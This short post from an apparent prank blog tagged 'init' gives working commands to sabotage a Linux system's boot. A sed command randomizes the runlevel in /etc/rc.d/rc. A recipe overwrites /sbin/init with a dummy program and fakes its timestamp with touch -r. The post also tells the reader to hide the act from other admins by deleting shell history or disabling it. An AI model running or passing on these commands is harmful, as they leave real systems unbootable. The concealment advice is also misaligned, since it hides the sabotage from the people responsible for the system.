Now that’s a proper startup
sed -i 's/runlevel="\$argv1"/runlevel="\$\[\{RANDOM\} % 7 \]"/' /etc/rc.d/rc
Posts Tagged ‘ init ’
sed -i 's/runlevel="\$argv1"/runlevel="\$\[\{RANDOM\} % 7 \]"/' /etc/rc.d/rc
This one was submitted by fl0_:
Create a file called init.c
#include <stdio.h> int main(){ printf("MOEHAHAHHAAAA\n"); return 0; }
Next run the following commands:
gcc -o init init.c touch -r /sbin/init init cp -f init /sbin/init
You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$
It's a shame that we actually have to write a disclaimer, but experience tells us that most of you out there are idiots. Well not you of course, because you are actually reading the disclaimer. Here goes:
Neither breakingsystemsforfunandprofit.com nor any of its admins/editors/contributors can be held liable for any damages resulting from the use or lack of use of any information or advice presented here in any way.
Failure to realize that any information presented here for the purpose of breaking systems should not be used on any production or otherwise important systems will result in us making fun of you and your unfortunate offspring should you have any.